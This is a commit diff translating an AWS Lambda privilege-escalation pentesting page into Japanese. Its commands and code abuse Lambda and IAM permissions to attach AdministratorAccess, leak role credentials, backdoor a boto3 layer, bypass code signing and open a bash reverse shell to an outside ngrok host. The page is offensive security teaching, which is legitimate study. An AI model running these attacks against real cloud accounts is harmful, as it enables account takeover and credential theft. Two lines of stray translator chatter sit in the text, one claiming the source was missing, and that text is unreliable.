Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2025-10-23 13:10:21 +00:00
parent 3aeb03e96b
commit 2a1f379497
18 changed files with 489 additions and 472 deletions

View File

@@ -4,7 +4,7 @@
## lambda
More info about lambda in:
lambda に関する詳細情報は:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,11 +12,11 @@ More info about lambda in:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
**`iam:PassRole`, `lambda:CreateFunction`, `lambda:InvokeFunction`** 権限を持つユーザーは権限昇格が可能です。\
新しい Lambda function を作成し既存の IAM role を割り当てることで、その role に紐づく権限を関数に付与できます。ユーザーはその Lambda function にコードを書き込みアップロードし(例: rev shell\
関数が設定されると AWS API 経由で Lambda function を呼び出して実行させ、目的の操作を実行できます。この法により、ユーザーは関連付けられた IAM role に与えられた権限レベルで、Lambda function を通じて間接的に操作を行えます。\\
これらの **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** 権限を持つユーザーは権限昇格できます。\
彼らは **新しい Lambda function を作成し既存の IAM role を割り当てる** ことで、そのロールに紐づく権限を関数に付与できます。ユーザーはその**この Lambda function にコードを書きアップロードする(例:rev shell** ことができます。\
関数がセットアップされると、ユーザーは AWS API 経由で Lambda function を呼び出して、**実行をトリガー**し意図した操作を行わせることができます。この法により、ユーザーは Lambda function を介して間接的に操作を実行でき、その関数に紐づく IAM role に付与されたアクセスレベルで動作します。\\
攻撃者はこれを悪用して **rev shell を取得し token を盗む**:
A attacker could abuse this to get a **rev shell and steal the token**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
また、lambda function 自身から **lambda role permissions を悪用する** こともできます\
lambda role に十分な権限があれば、それを使って自分に管理者権限を付与することができます:
lambda function自体から**abuse the lambda role permissions**することもできます.\
もしlambda roleに十分な権限があれば、それを使って自分にadmin rightsを付与することができます:
```python
import boto3
def lambda_handler(event, context):
@@ -58,11 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
外部接続を必要とせずに lambda's role credentials を leak することも可能です。
これは内部タスクで使用される **Network isolated Lambdas** に対して有用です。
不明な security groups があなたの reverse shells をフィルタしている場合、このコードは lambda の出力として credentials を直接 leak することを可能にします。
外部接続を必要とせずに lambda role credentials を leak することも可能です。これは内部タスクで使用される **Network isolated Lambdas** に役立ちます。不明な security groups によって reverse shells がフィルタされている場合、このコードにより lambda の出力として credentials を直接 leak できます。
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -76,34 +72,34 @@ return {
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potential Impact:** 指定された任意の lambda サービスロールへの直接的な privesc。
**Potential Impact:** 指定された任意の lambda サービスロールへの直接 privesc。
> [!CAUTION]
> 一見興味深く見えても**`lambda:InvokeAsync`** は単独では **`aws lambda invoke-async` を実行することを許可しません**。`lambda:InvokeFunction` も必要です
> たとえ興味深く見えても **`lambda:InvokeAsync`** **だけでは** **`aws lambda invoke-async` を実行する**ことはできず、`lambda:InvokeFunction` も必要です
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
前のシナリオと同様に、`lambda:AddPermission` の権限があれば、自分に **`lambda:InvokeFunction`** の権限を付与できます。
前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、**自分に `lambda:InvokeFunction` の権限を付与することができます**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**潜在的影響:** 指定された任意の Lambda サービスロールへの直接的な privesc
**潜在的影響:** 指定された任意の lambda サービスロールへの直接的な privesc.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
`iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` の権限(および場合によっては `dynamodb:PutItem` や `dynamodb:CreateTable`)を持つユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます。\
悪意あるコードを含む **Lambda function を作成し既存の IAM role を割り当てる** ことが可能です。
`**`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** の権限(および場合によっては `dynamodb:PutItem``dynamodb:CreateTable`)を持つユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます.\\
彼らは、悪意あるコードを含む **Lambda function を作成し既存の IAM role を割り当てる** ことができます。
Lambda を直接呼び出す代わりに、ユーザーは既存の DynamoDB テーブルを設定または利用し、それを event source mapping を通て Lambda に紐付けます。この構成により、テーブルに新しいアイテムが追加されると(ユーザーの操作か別プロセスによるかにかかわらず)Lambda function が **テーブルへの新しいアイテム登録時に自動的にトリガーされる** ようになり、結果として間接的に Lambda function が呼び出され、渡された IAM role の権限でコードが実行されます。
ユーザーは Lambda を直接呼び出す代わりに、既存の DynamoDB テーブルをセットアップまたは利用し、それを event source mapping を通て Lambda に紐付けます。こうすることで、Lambda function が **テーブルへの新しいアイテム登録時に自動的にトリガーされる**ユーザーの操作または他のプロセスによるため、Lambda を間接的に呼び出して、渡された IAM role の権限でコードが実行されます。
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
DynamoDB が既に AWS 環境で有効になっている場合、ユーザーは Lambda 関数のために **イベントソースマッピングを確立するだけでよい**。しかし、DynamoDB が使用されていない場合、ユーザーは **ストリーミングを有効にした新しいテーブルを作成する必要がある**
もし AWS 環境ですでに DynamoDB が有効であれば、ユーザーは Lambda 関数のために **event source mapping を設定するだけでよい**。しかし、DynamoDB が使れていない場合、ユーザーは **ストリーミングを有効にした新しいテーブルを作成する** 必要がある:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -111,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
これで**Lambda functionDynamoDB tableに接続する**ために、**event source mappingを作成する**ことができます:
これで**connect the Lambda function to the DynamoDB table**を**creating an event source mapping**によって接続できます:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Lambda 関数が DynamoDB stream にリンクされている場合、攻撃者は **DynamoDB stream を有効化して Lambda を間接的にトリガーする** ことができます。これは **DynamoDB table にアイテムを挿入する** ことで達成できます:
Lambda functionがDynamoDB streamにリンクされている場合、attackerは**DynamoDB streamを有効化することで間接的にLambdaをトリガーできます**。これはDynamoDB tableに**アイテムを挿入すること**で実行できます
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**潜在的な影響:** 指定された lambda サービスロールへの直接的な privesc。
**Potential Impact:** 指定された lambda サービスロールへの直接的な privesc。
### `lambda:AddPermission`
この権限を持つ攻撃者は **自分自身(または他者)に任意の権限を付与することができる**(これはリソースへのアクセスを付与するためのリソースベースのポリシーを生成する):
この権限を持つ攻撃者は**自身(または他者)に任意の権限を付与することができる**(これはリソースベースのポリシーを生成してリソースへのアクセスを付与する):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -134,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**潜在的影響:** コード変更して実行する権限を付与することで、使用されている lambda の service role への直接的な privesc。
**潜在的影響:** コード変更と実行を許可する権限を付与することで、lambdaサービスロールへの直接的なprivescが可能になる
### `lambda:AddLayerVersionPermission`
この権限を持つ攻撃者は**自分自身(または他者)に `lambda:GetLayerVersion` の権限を付与することができます**。レイヤーにアクセスし、脆弱性や機密情報を調査する可能性があります
この権限を持つ攻撃者は **自分自身(または他者)に権限 `lambda:GetLayerVersion` を付与できる**。レイヤーにアクセスし、脆弱性や機密情報を探すことができる
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Potential Impact:** 機密情報へのアクセスの可能性があります
**Potential Impact:** 機密情報へのアクセスの可能性。
### `lambda:UpdateFunctionCode`
**`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAM ロールに紐付いた既存の Lambda 関数のコードを変更する可能性があります。**\
攻撃者は **Lambda のコードを変更して IAM 資格情報を exfiltrate することができます。**
攻撃者が関数を直接呼び出す権限を持っていない場合でも、Lambda 関数が既に存在し稼働している場合は、既存のワークフローやイベントによってトリガーされる可能性が高く、結果として変更されたコードの実行間接的に可能になります。
攻撃者が関数を直接実行する権限を持っていない場合でも、Lambda 関数が既に存在し稼働中であれば、既存のワークフローやイベントを介してトリガーされる可能性が高く、結果として変更されたコードの実行間接的に促進します。
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -161,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**潜在的な影響:** 使用されている lambda サービスロールへの直接的な privesc
**Potential Impact:** 使用されている lambda サービスロールへの直接的な privesc.
### `lambda:UpdateFunctionConfiguration`
#### RCE via env variables
この権限があれば、Lambda 任意のコードを実行させるような環境変数を追加することが可能です。例えば python では、環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることができます:
この権限があれば、Lambda 任意のコードを実行させるような environment variables を追加することが可能です。例えば python では、環境変数 `PYTHONWARNING``BROWSER` を悪用して python プロセスに任意のコマンドを実行させることができます:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
他のスクリプト言語では使用できるの env variables があります。詳しくは以下の scripting languages のサブセクションを参照してください
他のスクリプト言語については、使用できるの env 変数があります。詳細は次のスクリプト言語のサブセクションを参照してください:
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
@@ -179,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
#### RCE via Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、**code** を lamdba function に含められるようにしますが、**storing it separately** によって関数のコードを小さく保、**several functions can share code**。
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、lamdba function に **code** を含めることを可能にしますが、**storing it separately** することで関数のコードを小さく保、**several functions can share code**。
lambda 内では、python code が読み込まれるパスを以下のような関数で確認できます:
lambda の内部では、次のような関数で python code が読み込まれるパスを確認できます:
```python
import json
import sys
@@ -206,74 +202,73 @@ For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position
#### Exploitation
権限 `lambda:UpdateFunctionConfiguration` を悪用して、lambda 関数に **新しいレイヤーを追加する** ことが可能です。任意のコードを実行するために、このレイヤーには **lambda がインポートするライブラリ** が含まれている必要があります。lambda のコードを読めるなら、これを簡単に見つけられます。さらに、lambda が **すでにレイヤーを使用している** 場合があり、そのレイヤーを **ダウンロード** して **自分のコードを追加する** ことも可能です。
`lambda:UpdateFunctionConfiguration` の権限を悪用して、lambda 関数に **add a new layer** することが可能です。任意のコードを実行するには、この layer に lambda が import するような何らかの **library** を含める必要があります。lambda のコードを読めれば簡単に見つけられます、lambda が **already using a layer**場合があり、その layer **download** して、そこに **add your code** することもできます。
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
```bash
pip3 install -t ./lambda_layer boto3
```
`./lambda_layer/boto3/__init__.py` を開き、**global code に backdoor を追加**できます(例: 資格情報を exfiltrate する関数や reverse shell を取得する関数)。
`./lambda_layer/boto3/__init__.py` を開き、**global code に backdoor を追加**できます(例: exfiltrate credentials を行う関数や reverse shell を取得する関数など)。
その後、`./lambda_layer` ディレクトリを zip して **新しい lambda layer を** 自分のアカウント(または被害者のアカウントにアップロードします(被害者のアカウントに対する権限がない場合があります)。\
/opt/python/boto3 を上書きするには python フォルダを作成してライブラリをそこに入れる必要があります。また、layer は Lambda が使用する **python version と互換性がある** 必要があり、自分のアカウントにアップロードする場合は **same region:** に配置する必要があります。
その後、`./lambda_layer` ディレクトリを zip して**new lambda layer を自分のアカウントに upload**します(または被害者のアカウントにアップロードすることもできますが、権限がない場合があります)。\
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
では、アップロードした lambda layer を **任意のアカウントからアクセス可能に** します:
次に、アップロードした lambda layer を **任意のアカウントからアクセス可能にす**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
そして、lambda layer を被害者の lambda function にアタッチします:
そして、lambda layer を victim lambda function にアタッチします:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
次のステップは、可能であれば自分で**関数を呼び出す**か、通常の方法でi**呼び出されるのを待つ**ことです — こちらの方が安全な方法です。
次のステップは、可能であれば自分で**関数を呼び出す**か、通常の手段で**呼び出される**のを待つことです — こちらがより安全な方法です。
この脆弱性を**よりステルスに悪用する方法**は以下で確認できます:
A **この脆弱性をよりステルスに悪用する方法**は次を参照してください:
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**潜在的影響:** 使用されている lambda サービスロールへの直接的な privesc。
**Potential Impact:** 使用されている lambda service role への Direct privesc。
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
これらの権限があれば関数を作成してURLを呼び出して実行できるかもしれません…しかし私の方ではテスト方法見つけられなかったので、もし試せたら教えてください!
これらの権限があれば関数を作成して URL を呼び出して実行できるかもしれません…しかしテスト方法見つけられなかったので、見つけたら教えてください!
### Lambda MitM
一部の lambdas はパラメータでユーザーから**機密情報を受け取る**ことがあります。もしそのうちの一つで RCE を得られれば、他のユーザーが送っている情報を exfiltrate できます。詳細はを参照してください:
一部の lambdas はパラメータでユーザーから**機密情報を受け取っている** ことがあります。もしそのうちの一つで RCE を得られれば、他のユーザーがそれに送っている情報を外部に持ち出せます。詳細は以下を参照してください:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
## 参考
## 参考文献
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../../banners/hacktricks-training.md}}
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Lambda Code Signing をバイパス
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
もし Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これにより、関数の IAM ロールやトリガーを変更することなく整合性保護を回避できます。
Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これ関数の IAM role やトリガーを変更せずに整合性保護をバイパスします。
Permissions (one of):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
Notes:
- Path B の場合、CSC ポリシーが `WARN` に設定されていれば AWS Signer プロファイルは不要です(未署名のアーティファクトが許可されます)
- Path B の場合、CSC ポリシーが `WARN`unsigned artifacts allowedに設定されていればAWS Signer プロファイルは不要です。
Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
@@ -296,7 +291,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
パスB) Warn にダウングレードしてコードを更新する(削除が許可されていない場合):
パス B) Warn にダウングレードしてコードを更新する(削除が許可されていない場合):
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
@@ -307,15 +302,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
確認しましたが、翻訳するソースREADME.md の内容が提供されていません。該当ファイルのテキストを貼り付けてください。貼り付けていただければ、指定どおりマークダウンHTML構文やリンク・コード・タグを保持したまま英→日翻訳します。
確認しました。指定どおり、コード、タグ、リンク、パス、クラウド/SaaSプラットフォーム名、ハッキング用語などは翻訳せず、Markdown/HTML構文をそのまま維持して翻訳します。
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
潜在的な影響: signed deployments を強制することになっていた function に任意の unsigned code をプッシュして実行できる能力があり、結果として function role の permissions での code execution につながる可能性があります
潜在的な影響: 署名されたデプロイを強制するはずの関数に、任意の署名されていないコードをプッシュして実行できる可能性があり、結果として関数ロールの権限でコードが実行される恐れがある
クリーンアップ:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}